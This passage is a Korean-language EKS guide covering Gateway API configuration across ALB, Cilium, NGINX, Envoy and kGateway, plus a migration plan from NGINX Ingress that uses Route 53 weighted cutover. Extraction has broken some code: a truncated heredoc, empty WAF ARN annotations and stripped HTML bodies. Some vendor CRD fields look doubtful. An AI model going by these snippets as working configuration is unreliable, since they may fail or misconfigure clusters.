kind: Gateway
metadata:
name: production-gateway
annotations:
aws.load-balancer.waf-acl-arn:
spec:
gatewayClassName: aws-alb
listeners:
- name: http
port: 80
protocol: HTTP
```
:::note ACK WAFv2 IPSet 관리 팁
- IPSet의 `addresses` 필드를 업데이트하면 ACK 컨트롤러가 자동으로 AWS WAF IPSet을 동기화합니다
- GitOps(ArgoCD/Flux)와 결합하면 IP 변경을 PR 기반으로 관리할 수 있습니다
- IPSet과 WebACL은 동일 리전에 있어야 하며, `wafv2:*IPSet*`, `wafv2:*WebACL*` 권한이 필요합니다 (EKS Capabilities: IAM Capability Role / Helm: IRSA)
:::
```yaml
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: ip-allowlist
namespace: production
spec:
endpointSelector:
matchLabels:
app: api-service
ingress:
- fromCIDR:
- "10.0.0.0/8" # VPC 내부
- "192.168.1.0/24" # 사무실
- "203.0.113.100/32" # 특정 IP
toPorts:
- ports:
- port: "8080"
protocol: TCP
```
```yaml
apiVersion: gateway.nginx.org/v1alpha1
kind: NginxProxy
metadata:
name: ip-filter
spec:
ipFiltering:
allow:
- "10.0.0.0/8"
- "192.168.1.0/24"
deny:
- "203.0.113.0/24" # 차단할 IP 대역
```
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: SecurityPolicy
metadata:
name: ip-allowlist
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: Gateway
name: production-gateway
authorization:
rules:
- action: ALLOW
from:
- source:
principals:
- "10.0.0.0/8"
- "192.168.1.0/24"
- action: DENY
from:
- source:
principals:
- "*"
```
:::warning 제한 사항
kGateway는 네이티브 IP 필터링을 RouteOption CRD의 networkPolicy 또는 Kubernetes NetworkPolicy와 조합하여 구현합니다.
:::
```yaml
# Kubernetes NetworkPolicy를 사용한 IP 제어
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: ip-allowlist
namespace: production
spec:
podSelector:
matchLabels:
app: api-service
policyTypes:
- Ingress
ingress:
- from:
- ipBlock:
cidr: 10.0.0.0/8
- ipBlock:
cidr: 192.168.1.0/24
- ipBlock:
cidr: 203.0.113.100/32
ports:
- protocol: TCP
port: 8080
```
## 4. URL Rewrite
:::note Gateway API 표준
URL Rewrite는 Gateway API v1 표준 기능으로, 모든 구현체에서 동일하게 작동합니다.
:::
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: api-rewrite
namespace: production
spec:
parentRefs:
- name: production-gateway
rules:
# /api/v1/users → /users
- matches:
- path:
type: PathPrefix
value: /api/v1
filters:
- type: URLRewrite
urlRewrite:
path:
type: ReplacePrefixMatch
replacePrefixMatch: /
backendRefs:
- name: api-service
port: 8080
# /old-api/users → /v2/users
- matches:
- path:
type: PathPrefix
value: /old-api
filters:
- type: URLRewrite
urlRewrite:
path:
type: ReplacePrefixMatch
replacePrefixMatch: /v2
backendRefs:
- name: api-service-v2
port: 8080
```
## 5. Header 조작
:::note Gateway API 표준
Header 조작은 Gateway API v1 표준 기능으로, 모든 구현체에서 동일하게 작동합니다.
:::
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: header-manipulation
spec:
parentRefs:
- name: production-gateway
rules:
- matches:
- path:
value: /api
filters:
# 요청 헤더 추가
- type: RequestHeaderModifier
requestHeaderModifier:
add:
- name: X-Custom-Header
value: "gateway-api"
- name: X-Forwarded-Proto
value: "https"
remove:
- Authorization # 기존 Authorization 제거
# 응답 헤더 추가
- type: ResponseHeaderModifier
responseHeaderModifier:
add:
- name: X-Server
value: "gateway-api"
- name: Strict-Transport-Security
value: "max-age=31536000; includeSubDomains"
backendRefs:
- name: api-service
port: 8080
```
## 6. 세션 어피니티 (Cookie-based)
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: sticky-session
annotations:
aws.load-balancer.target-group.stickiness.enabled: "true"
aws.load-balancer.target-group.stickiness.type: "lb_cookie"
aws.load-balancer.target-group.stickiness.duration: "3600"
spec:
parentRefs:
- name: production-gateway
rules:
- backendRefs:
- name: api-service
port: 8080
```
:::warning 제한 사항
Cilium은 네이티브 쿠키 기반 세션 어피니티를 지원하지 않습니다. CiliumEnvoyConfig로 Envoy의 consistent hashing 또는 ring hash를 구성할 수 있습니다.
:::
```yaml
apiVersion: cilium.io/v2
kind: CiliumEnvoyConfig
metadata:
name: session-affinity
namespace: production
spec:
services:
- name: api-service
namespace: production
resources:
- "@type": type.googleapis.com/envoy.config.cluster.v3.Cluster
name: api-service-cluster
type: STRICT_DNS
lbPolicy: RING_HASH
ringHashLbConfig:
hashFunction: XX_HASH
minimumRingSize: 1024
loadAssignment:
clusterName: api-service-cluster
endpoints:
- lbEndpoints:
- endpoint:
address:
socketAddress:
address: api-service.production.svc.cluster.local
portValue: 8080
- "@type": type.googleapis.com/envoy.config.route.v3.RouteConfiguration
name: session-affinity-route
virtualHosts:
- name: api-service
domains: ["*"]
routes:
- match:
prefix: "/"
route:
cluster: api-service-cluster
hashPolicy:
- cookie:
name: SESSION_COOKIE
ttl: 3600s
```
```yaml
apiVersion: gateway.nginx.org/v1alpha1
kind: UpstreamSettingsPolicy
metadata:
name: session-affinity
namespace: production
spec:
targetRef:
group: ""
kind: Service
name: api-service
sessionAffinity:
cookieName: BACKEND_SESSION
cookieExpires: 1h
```
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: BackendTrafficPolicy
metadata:
name: session-affinity
namespace: production
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: api-route
loadBalancer:
type: ConsistentHash
consistentHash:
type: Cookie
cookie:
name: SESSION_COOKIE
ttl: 3600s
```
```yaml
apiVersion: gateway.kgateway.io/v1alpha1
kind: RouteOption
metadata:
name: session-affinity
namespace: production
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: api-route
sessionAffinity:
cookieBased:
cookie:
name: JSESSIONID
ttl: 3600s
path: /
```
## 7. 요청 본문 크기 제한
:::warning 제한 사항
AWS WAF Rule을 사용하여 요청 본문 크기를 제한합니다 (Console/CloudFormation 설정).
:::
```yaml
# ALB에 WAF Body Size Limit Rule 연결
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: production-gateway
annotations:
aws.load-balancer.waf-acl-arn: arn:aws:wafv2:us-west-2:123456789012:regional/webacl/body-size-limit/a1b2c3d4
spec:
gatewayClassName: aws-alb
listeners:
- name: http
port: 80
protocol: HTTP
```
**ACK(AWS Controllers for Kubernetes)로 WAF Body Size Rule 생성:**
ACK WAFv2 컨트롤러를 사용하면 Body Size 제한 규칙을 Kubernetes 매니페스트로 선언적 관리할 수 있습니다.
```yaml
# ACK WAFv2 WebACL - Body Size Limit Rule 정의
apiVersion: wafv2.services.k8s.aws/v1alpha1
kind: WebACL
metadata:
name: body-size-limit-acl
namespace: production
spec:
name: body-size-limit-acl
scope: REGIONAL
defaultAction:
allow: {}
rules:
- name: block-large-body
priority: 1
action:
block: {}
statement:
sizeConstraintStatement:
fieldToMatch:
body:
oversizeHandling: MATCH # 오버사이즈 본문도 매칭
comparisonOperator: GT
size: 10485760 # 10MB (바이트 단위)
textTransformations:
- priority: 0
type: NONE
visibilityConfig:
sampledRequestsEnabled: true
cloudWatchMetricsEnabled: true
metricName: block-large-body
visibilityConfig:
sampledRequestsEnabled: true
cloudWatchMetricsEnabled: true
metricName: body-size-limit-acl
```
```yaml
# 생성된 WebACL ARN을 Gateway에 연결
# WebACL 생성 후 status.ackResourceMetadata.arn 에서 ARN 확인:
# kubectl get webacl body-size-limit-acl -n production \
# -o jsonpath='{.status.ackResourceMetadata.arn}'
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: production-gateway
annotations:
aws.load-balancer.waf-acl-arn:
spec:
gatewayClassName: aws-alb
listeners:
- name: http
port: 80
protocol: HTTP
```
:::note 단일 WebACL로 규칙 통합
IP Allowlist, Rate Limiting, Body Size 제한을 모두 사용한다면, 별도의 WebACL을 각각 만들 필요 없이 **하나의 WebACL에 여러 규칙을 `priority`로 구분하여 통합**할 수 있습니다. ALB당 WebACL은 하나만 연결 가능하므로 통합 관리가 필수입니다.
:::
:::warning 제한 사항
Cilium Gateway API는 별도의 요청 본문 크기 제한 CRD를 제공하지 않습니다. CiliumEnvoyConfig로 Envoy의 buffer 필터를 구성하거나, 백엔드 애플리케이션에서 처리해야 합니다.
:::
```yaml
apiVersion: cilium.io/v2
kind: CiliumEnvoyConfig
metadata:
name: body-size-limit
namespace: production
spec:
services:
- name: api-service
namespace: production
resources:
- "@type": type.googleapis.com/envoy.config.listener.v3.Listener
name: envoy-lb-listener
filterChains:
- filters:
- name: envoy.filters.network.http_connection_manager
typedConfig:
"@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
commonHttpProtocolOptions:
maxRequestHeadersKb: 60
http2ProtocolOptions:
maxConcurrentStreams: 100
# Envoy buffer 필터로 요청 본문 크기 제한
perConnectionBufferLimitBytes: 10485760 # 10MB
```
```yaml
apiVersion: gateway.nginx.org/v1alpha1
kind: NginxProxy
metadata:
name: body-size-limit
spec:
clientMaxBodySize: 10m # 최대 10MB
```
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: ClientTrafficPolicy
metadata:
name: body-size-limit
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: Gateway
name: production-gateway
http1:
http10Disabled: false
maxRequestHeadersKb: 60
connection:
bufferLimitBytes: 10485760 # 10MB
```
:::warning 제한 사항
kGateway는 RouteOption CRD에서 body size limit을 직접 지원하지 않습니다. 백엔드 서비스 또는 Envoy 필터 확장을 통해 구현합니다.
:::
```yaml
# kGateway는 백엔드 애플리케이션에서 본문 크기 검증을 권장
# 또는 ListenerOption으로 전역 버퍼 제한 구성
apiVersion: gateway.kgateway.io/v1alpha1
kind: ListenerOption
metadata:
name: body-size-limit
namespace: production
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: Gateway
name: production-gateway
sectionName: http
options:
perConnectionBufferLimitBytes: 10485760 # 10MB
```
## 8. 커스텀 에러 페이지
```yaml
# ALB의 Fixed Response 액션 사용
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: error-response
namespace: production
annotations:
# ALB action annotation으로 고정 응답 구성
alb.ingress.kubernetes.io/actions.error-503: |
{
"type": "fixed-response",
"fixedResponseConfig": {
"contentType": "text/html",
"statusCode": "503",
"messageBody": "Service Under Maintenance
Please try again later.
"
}
}
spec:
parentRefs:
- name: production-gateway
rules:
- matches:
- path:
type: PathPrefix
value: /maintenance
backendRefs:
- name: error-503 # annotation에 정의된 액션 이름
kind: Service
port: 503
```
:::warning 제한 사항
Cilium Gateway API는 네이티브 커스텀 에러 페이지를 지원하지 않습니다. 별도 에러 페이지 서비스를 배포하고 HTTPRoute에서 라우팅합니다.
:::
```yaml
# 에러 페이지를 제공하는 백엔드 서비스
apiVersion: v1
kind: Service
metadata:
name: error-page-service
namespace: production
spec:
selector:
app: error-pages
ports:
- port: 80
---
# 에러 발생 시 error-page-service로 라우팅
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: error-route
namespace: production
spec:
parentRefs:
- name: production-gateway
rules:
- matches:
- path:
type: PathPrefix
value: /error
backendRefs:
- name: error-page-service
port: 80
- matches:
- path:
type: PathPrefix
value: /maintenance
backendRefs:
- name: error-page-service
port: 80
```
:::warning 제한 사항
NGINX Gateway Fabric은 SnippetsPolicy 또는 별도 에러 서비스 라우팅으로 커스텀 에러 페이지를 구현합니다.
:::
```yaml
# 별도 에러 페이지 서비스를 통한 패턴
apiVersion: v1
kind: Service
metadata:
name: error-page-service
namespace: production
spec:
selector:
app: error-pages
ports:
- port: 80
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: error-handling
namespace: production
spec:
parentRefs:
- name: production-gateway
rules:
# 메인 애플리케이션 라우트
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- name: api-service
port: 8080
# 에러 페이지 라우트
- matches:
- path:
type: PathPrefix
value: /error
backendRefs:
- name: error-page-service
port: 80
---
# NginxProxy로 에러 페이지 지시문 구성 (선택적)
apiVersion: gateway.nginx.org/v1alpha1
kind: NginxProxy
metadata:
name: error-pages
spec:
errorPages:
- codes: [500, 502, 503, 504]
return:
statusCode: 503
body: "Service Unavailable
"
```
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: BackendTrafficPolicy
metadata:
name: custom-error
namespace: production
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: api-route
faultInjection:
- match:
headers:
- name: x-trigger-error
abort:
httpStatus: 503
percentage: 100
---
# HTTPRoute에서 Fixed Response
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: error-response
namespace: production
spec:
parentRefs:
- name: production-gateway
rules:
- matches:
- path:
type: PathPrefix
value: /maintenance
filters:
- type: ExtensionRef
extensionRef:
group: gateway.envoyproxy.io
kind: DirectResponse
name: maintenance-response
---
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: DirectResponse
metadata:
name: maintenance-response
namespace: production
spec:
statusCode: 503
body:
type: Inline
inline: |
Service Under Maintenance
Please try again later.
```
```yaml
# RouteOption의 transformation을 사용하여 커스텀 응답 구성
apiVersion: gateway.kgateway.io/v1alpha1
kind: RouteOption
metadata:
name: custom-error
namespace: production
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: maintenance-route
options:
transformations:
responseTransformation:
transformationTemplate:
headers:
":status":
text: "503"
content-type:
text: "text/html"
body:
text: |
Service Under Maintenance
Please try again later.
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: maintenance-route
namespace: production
spec:
parentRefs:
- name: production-gateway
rules:
- matches:
- path:
type: PathPrefix
value: /maintenance
backendRefs:
- name: api-service
port: 8080
```
---
## 참고 자료
### 공식 문서
- [Kubernetes Gateway API 공식 문서](https://gateway-api.sigs.k8s.io/) — HTTPRoute·필터·표준 채널 스펙
- [AWS Load Balancer Controller](https://kubernetes-sigs.github.io/aws-load-balancer-controller/) — LBC v3 Gateway API 지원
### 관련 문서 (내부)
- [Gateway API 도입 가이드](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide) — 솔루션 비교·의사결정 트리·결론
- [마이그레이션 실행 전략](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/migration-execution-strategy) — 5-Phase 마이그레이션 프로세스
---
# 마이그레이션 실행 전략
> Gateway API 마이그레이션 5-Phase 전략, CRD 설치, 단계별 실행 가이드, 검증 스크립트, 트러블슈팅
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/migration-execution-strategy
Category: EKS Best Practices
Last updated: 2026-06-28
Author: YoungJoon Jeong
Tags: eks, gateway-api, migration, nginx, deployment
import Tabs from '@theme/Tabs';
import TabItem from '@theme/TabItem';
import { MigrationFeatureMappingTable, TroubleshootingTable } from '@site/src/components/GatewayApiTables';
:::info
이 문서는 [Gateway API 도입 가이드](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide)의 심화 가이드입니다. NGINX Ingress에서 Gateway API로의 실전 마이그레이션 전략을 제공합니다.
:::
## 1. 사전 요구사항: CRD 설치
모든 Gateway API 구현체는 공통적으로 Kubernetes Gateway API CRDs를 필요로 합니다.
### 1.1 Gateway API 표준 CRDs
```bash
# Gateway API v1.5.1 표준 설치
kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.5.1/standard-install.yaml
# 실험적(Experimental) 기능 포함 설치 (선택사항)
kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.4.0/experimental-install.yaml
```
**설치되는 CRDs:**
- `gatewayclasses.gateway.networking.k8s.io`
- `gateways.gateway.networking.k8s.io`
- `httproutes.gateway.networking.k8s.io`
- `referencegrants.gateway.networking.k8s.io`
- `grpcroutes.gateway.networking.k8s.io` (Experimental)
- `tcproutes.gateway.networking.k8s.io` (Experimental)
- `tlsroutes.gateway.networking.k8s.io` (Experimental)
- `udproutes.gateway.networking.k8s.io` (Experimental)
### 1.2 각 컨트롤러별 추가 설치
**AWS Native (ALB + NLB Gateway)**
```bash
# AWS Load Balancer Controller v3.0+ 설치 (Gateway API 지원)
helm repo add eks https://aws.github.io/eks-charts
helm repo update
# IRSA (IAM Role for Service Account) 생성
eksctl create iamserviceaccount \
--cluster=<클러스터명> \
--namespace=kube-system \
--name=aws-load-balancer-controller \
--role-name AmazonEKSLoadBalancerControllerRole \
--attach-policy-arn=arn:aws:iam::aws:policy/AWSLoadBalancerControllerIAMPolicy \
--approve
# Helm 설치
helm install aws-load-balancer-controller eks/aws-load-balancer-controller \
-n kube-system \
--set clusterName=<클러스터명> \
--set serviceAccount.create=false \
--set serviceAccount.name=aws-load-balancer-controller \
--set enableGatewayAPI=true # Gateway API 활성화 (핵심!)
# 설치 확인
kubectl get deployment -n kube-system aws-load-balancer-controller
```
**NGINX Gateway Fabric**
```bash
# NGINX Gateway Fabric 설치
kubectl apply -f https://github.com/nginxinc/nginx-gateway-fabric/releases/download/v1.6.0/crds.yaml
kubectl apply -f https://github.com/nginxinc/nginx-gateway-fabric/releases/download/v1.6.0/nginx-gateway.yaml
# 설치 확인
kubectl get pods -n nginx-gateway
kubectl get gatewayclass nginx
```
**Envoy Gateway**
```bash
# Envoy Gateway 설치
helm install eg oci://docker.io/envoyproxy/gateway-helm \
--version v1.3.0 \
--namespace envoy-gateway-system \
--create-namespace
# 설치 확인
kubectl get pods -n envoy-gateway-system
kubectl get gatewayclass envoy-gateway
```
**Cilium Gateway API**
Cilium 설치 시 `gatewayAPI.enabled=true`로 이미 활성화되어 있으므로 별도 설치 불필요.
```bash
# GatewayClass 확인
kubectl get gatewayclass cilium
```
---
## 2. 5-Phase 마이그레이션 프로세스
```mermaid
flowchart LR
P1[Phase 1
준비]
P2[Phase 2
구축]
P3[Phase 3
병렬 운영]
P4[Phase 4
전환]
P5[Phase 5
완료]
P1 -->|1-2주| P2
P2 -->|1-2주| P3
P3 -->|2-4주| P4
P4 -->|1주| P5
subgraph "Phase 1: 준비"
P1A[인벤토리 수집]
P1B[기능 매핑]
P1C[리스크 평가]
end
subgraph "Phase 2: 구축"
P2A[CRD 설치]
P2B[컨트롤러 배포]
P2C[테스트 환경 PoC]
end
subgraph "Phase 3: 병렬 운영"
P3A[Gateway 생성]
P3B[HTTPRoute 생성]
P3C[내부 검증]
end
subgraph "Phase 4: 전환"
P4A[DNS 10% 전환]
P4B[DNS 50% 전환]
P4C[DNS 100% 전환]
end
subgraph "Phase 5: 완료"
P5A[NGINX Ingress 백업]
P5B[리소스 제거]
P5C[문서화]
end
P1 -.-> P1A
P1A --> P1B
P1B --> P1C
P2 -.-> P2A
P2A --> P2B
P2B --> P2C
P3 -.-> P3A
P3A --> P3B
P3B --> P3C
P4 -.-> P4A
P4A --> P4B
P4B --> P4C
P5 -.-> P5A
P5A --> P5B
P5B --> P5C
style P4 fill:#4CAF50
style P3 fill:#FFC107
```
---
## 3. Phase별 상세 가이드
**Step 1.1: 현재 Ingress 인벤토리 수집**
```bash
# 모든 Ingress 리소스 목록 추출
kubectl get ingress -A -o json > ingress-inventory.json
# 주요 정보 요약
cat ingress-inventory.json | jq -r '
.items[] |
{
namespace: .metadata.namespace,
name: .metadata.name,
class: .spec.ingressClassName,
hosts: [.spec.rules[].host],
paths: [.spec.rules[].http.paths[].path],
tls: (.spec.tls != null)
}
' > ingress-summary.json
# 통계 요약
echo "=== Ingress Statistics ==="
echo "Total Ingress: $(cat ingress-inventory.json | jq '.items | length')"
echo "With TLS: $(cat ingress-inventory.json | jq '[.items[] | select(.spec.tls != null)] | length')"
echo "Unique Hosts: $(cat ingress-inventory.json | jq -r '[.items[].spec.rules[].host] | unique | length')"
```
**Step 1.2: 기능 매핑 (NGINX Ingress → Gateway API)**
**Step 1.3: 리스크 평가**
```yaml
# risk-assessment.yaml
risks:
- id: RISK-001
category: 기능 누락
description: "NGINX rate-limit 어노테이션의 직접 대안 없음"
severity: MEDIUM
mitigation: "AWS WAF 또는 Envoy Rate Limit 서비스 사용"
- id: RISK-002
category: 다운타임
description: "Cilium ENI 모드 마이그레이션 시 다운타임 발생"
severity: HIGH
mitigation: "블루-그린 클러스터 전환 또는 유지보수 창 설정"
- id: RISK-003
category: 학습 곡선
description: "팀의 Gateway API 경험 부족"
severity: LOW
mitigation: "Phase 2 PoC에서 충분한 테스트 기간 확보"
```
**Step 2.1: CRD 설치 (섹션 1 참조)**
위의 "사전 요구사항" 섹션대로 CRD와 컨트롤러를 설치합니다.
**Step 2.2: 테스트 환경 PoC**
```yaml
# poc-gateway.yaml (개발 환경)
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: poc-gateway
namespace: dev
spec:
gatewayClassName: cilium # 또는 nginx, envoy-gateway, aws
listeners:
- name: http
protocol: HTTP
port: 80
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: poc-httproute
namespace: dev
spec:
parentRefs:
- name: poc-gateway
hostnames:
- "poc.dev.example.com"
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: test-service
port: 8080
```
```bash
# PoC 배포
kubectl apply -f poc-gateway.yaml
# 외부 IP 확인
kubectl get gateway poc-gateway -n dev -o jsonpath='{.status.addresses[0].value}'
# DNS 레코드 추가 (Route 53 예시)
GATEWAY_IP=$(kubectl get gateway poc-gateway -n dev -o jsonpath='{.status.addresses[0].value}')
aws route53 change-resource-record-sets \
--hosted-zone-id Z1234567890ABC \
--change-batch "{
\"Changes\": [{
\"Action\": \"CREATE\",
\"ResourceRecordSet\": {
\"Name\": \"poc.dev.example.com\",
\"Type\": \"A\",
\"TTL\": 60,
\"ResourceRecords\": [{\"Value\": \"$GATEWAY_IP\"}]
}
}]
}"
# 기능 테스트
curl -v http://poc.dev.example.com/
```
**Step 2.3: 성능 벤치마크 (PoC 환경)**
```bash
# k6 부하 테스트 스크립트
cat < poc-benchmark.js
import http from 'k6/http';
import { check } from 'k6';
export let options = {
stages: [
{ duration: '2m', target: 100 }, // 100 VU까지 램프업
{ duration: '5m', target: 100 }, // 5분간 유지
{ duration: '2m', target: 0 }, // 램프다운
],
thresholds: {
'http_req_duration': ['p(95)<200'], // P95 레이턴시 200ms 미만
'http_req_failed': ['rate<0.01'], // 에러율 1% 미만
},
};
export default function () {
const res = http.get('http://poc.dev.example.com/api/health');
check(res, {
'status is 200': (r) => r.status === 200,
'response time < 200ms': (r) => r.timings.duration < 200,
});
}
EOF
# k6 실행
k6 run poc-benchmark.js
```
**Step 3.1: 프로덕션 Gateway 생성**
```yaml
# production-gateway.yaml
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: production-gateway
namespace: infra
annotations:
# AWS Native인 경우
service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
service.beta.kubernetes.io/aws-load-balancer-scheme: "internet-facing"
spec:
gatewayClassName: cilium
listeners:
- name: https
protocol: HTTPS
port: 443
hostname: "*.example.com"
tls:
mode: Terminate
certificateRefs:
- kind: Secret
name: wildcard-tls-cert
namespace: infra
allowedRoutes:
namespaces:
from: All
```
```bash
# 배포
kubectl apply -f production-gateway.yaml
# 상태 확인 (Programmed=True까지 대기)
kubectl wait --for=condition=Programmed gateway/production-gateway -n infra --timeout=5m
# 외부 주소 확인
kubectl get gateway production-gateway -n infra -o jsonpath='{.status.addresses[0].value}'
```
**Step 3.2: HTTPRoute 생성 (병렬 운영)**
기존 NGINX Ingress를 유지하면서, 동일한 백엔드를 가리키는 HTTPRoute를 생성합니다.
```yaml
# parallel-httproute.yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: api-route
namespace: production
spec:
parentRefs:
- name: production-gateway
namespace: infra
hostnames:
- "api.example.com"
rules:
- matches:
- path:
type: PathPrefix
value: /api/v1
backendRefs:
- name: api-service # 기존 Ingress와 동일한 Service
port: 8080
```
**Step 3.3: 내부 검증 (프록시 테스트)**
```bash
# Gateway의 Cluster IP로 직접 테스트 (외부 DNS 변경 전)
GATEWAY_SVC=$(kubectl get svc -n infra -l gateway.networking.k8s.io/gateway-name=production-gateway -o jsonpath='{.items[0].metadata.name}')
GATEWAY_IP=$(kubectl get svc $GATEWAY_SVC -n infra -o jsonpath='{.status.loadBalancer.ingress[0].ip}')
# Host 헤더를 포함한 curl 테스트
curl -H "Host: api.example.com" https://$GATEWAY_IP/api/v1/health --insecure
# 응답 시간 비교 (NGINX Ingress vs Gateway API)
echo "=== NGINX Ingress ==="
curl -w "Time: %{time_total}s\n" -o /dev/null -s https://api.example.com/api/v1/health
echo "=== Gateway API (직접 접근) ==="
curl -w "Time: %{time_total}s\n" -o /dev/null -s -H "Host: api.example.com" https://$GATEWAY_IP/api/v1/health --insecure
```
**Step 4.1: DNS 가중치 라우팅 (10% 전환)**
```bash
# Route 53 가중치 레코드 생성
# 기존 NGINX Ingress (가중치 90)
aws route53 change-resource-record-sets \
--hosted-zone-id Z1234567890ABC \
--change-batch '{
"Changes": [{
"Action": "UPSERT",
"ResourceRecordSet": {
"Name": "api.example.com",
"Type": "A",
"SetIdentifier": "nginx-ingress",
"Weight": 90,
"TTL": 60,
"ResourceRecords": [{"Value": "203.0.113.10"}]
}
}]
}'
# 새 Gateway API (가중치 10)
aws route53 change-resource-record-sets \
--hosted-zone-id Z1234567890ABC \
--change-batch "{
\"Changes\": [{
\"Action\": \"UPSERT\",
\"ResourceRecordSet\": {
\"Name\": \"api.example.com\",
\"Type\": \"A\",
\"SetIdentifier\": \"gateway-api\",
\"Weight\": 10,
\"TTL\": 60,
\"ResourceRecords\": [{\"Value\": \"$GATEWAY_IP\"}]
}
}]
}"
# 24시간 모니터링 (에러율, 레이턴시, 처리량)
# - CloudWatch 대시보드 확인
# - Grafana 메트릭 비교
# - 에러 로그 확인
```
**Step 4.2: DNS 50% 전환**
```bash
# 이상 없으면 가중치 조정
aws route53 change-resource-record-sets \
--hosted-zone-id Z1234567890ABC \
--change-batch '{
"Changes": [
{
"Action": "UPSERT",
"ResourceRecordSet": {
"Name": "api.example.com",
"Type": "A",
"SetIdentifier": "nginx-ingress",
"Weight": 50,
"TTL": 60,
"ResourceRecords": [{"Value": "203.0.113.10"}]
}
},
{
"Action": "UPSERT",
"ResourceRecordSet": {
"Name": "api.example.com",
"Type": "A",
"SetIdentifier": "gateway-api",
"Weight": 50,
"TTL": 60,
"ResourceRecords": [{"Value": "'"$GATEWAY_IP"'"}]
}
}
]
}'
# 1주일 모니터링
```
**Step 4.3: DNS 100% 전환**
```bash
# 최종 전환 (NGINX Ingress 가중치 0)
aws route53 change-resource-record-sets \
--hosted-zone-id Z1234567890ABC \
--change-batch '{
"Changes": [
{
"Action": "DELETE",
"ResourceRecordSet": {
"Name": "api.example.com",
"Type": "A",
"SetIdentifier": "nginx-ingress",
"Weight": 50,
"TTL": 60,
"ResourceRecords": [{"Value": "203.0.113.10"}]
}
},
{
"Action": "UPSERT",
"ResourceRecordSet": {
"Name": "api.example.com",
"Type": "A",
"SetIdentifier": "gateway-api",
"Weight": 100,
"TTL": 300,
"ResourceRecords": [{"Value": "'"$GATEWAY_IP"'"}]
}
}
]
}'
```
**Step 5.1: NGINX Ingress 백업**
```bash
# 모든 Ingress 리소스 백업
kubectl get ingress -A -o yaml > backup-ingress-resources-$(date +%Y%m%d).yaml
# NGINX Ingress Controller 구성 백업
kubectl get deployment ingress-nginx-controller -n ingress-nginx -o yaml > backup-nginx-controller.yaml
kubectl get cm ingress-nginx-controller -n ingress-nginx -o yaml > backup-nginx-configmap.yaml
# S3에 백업 업로드
aws s3 cp backup-ingress-resources-$(date +%Y%m%d).yaml s3://my-backup-bucket/ingress-migration/
```
**Step 5.2: NGINX Ingress 제거 (2주 후)**
```bash
# 2주간 모니터링 후 이상 없으면 제거
kubectl delete ingress --all -A # Ingress 리소스 삭제
helm uninstall ingress-nginx -n ingress-nginx # NGINX Controller 제거
kubectl delete namespace ingress-nginx
```
**Step 5.3: 문서화**
```markdown
# migration-report.md
## 마이그레이션 완료 보고서
### 기본 정보
- 시작일: 2026-01-15
- 완료일: 2026-02-28
- 총 소요 기간: 6주
- 선택한 솔루션: Cilium Gateway API (ENI 모드)
### 마이그레이션 대상
- 총 Ingress 수: 47개
- 총 호스트 수: 23개
- TLS 인증서: 12개
### 성능 비교
| 지표 | NGINX Ingress | Cilium Gateway | 개선율 |
|------|---------------|----------------|--------|
| P95 Latency | 45ms | 12ms | 73% 감소 |
| RPS (단일 인스턴스) | 8,500 | 24,000 | 182% 증가 |
| CPU 사용률 | 35% | 18% | 49% 감소 |
### 이슈 및 해결
1. **문제**: TLS 인증서 자동 갱신 미작동
- **원인**: cert-manager의 Ingress 어노테이션 의존성
- **해결**: Gateway용 Certificate CRD로 전환
2. **문제**: 일부 경로에서 404 에러
- **원인**: PathPrefix 매칭 로직 차이
- **해결**: 정확한 경로 매칭 규칙 수정
### 교훈
- Phase 3 병렬 운영 기간을 충분히 확보하는 것이 중요
- DNS TTL을 짧게 설정하여 빠른 롤백 가능하도록 준비
- 각 Phase마다 명확한 성공 기준 설정 필요
```
---
## 4. 검증 스크립트
```bash
#!/bin/bash
# validate-httproute.sh
set -e
NAMESPACE=${1:-default}
HTTPROUTE_NAME=${2:-}
if [ -z "$HTTPROUTE_NAME" ]; then
echo "Usage: $0 "
exit 1
fi
echo "=== HTTPRoute Validation ==="
echo "Namespace: $NAMESPACE"
echo "HTTPRoute: $HTTPROUTE_NAME"
echo ""
# 1. HTTPRoute 존재 확인
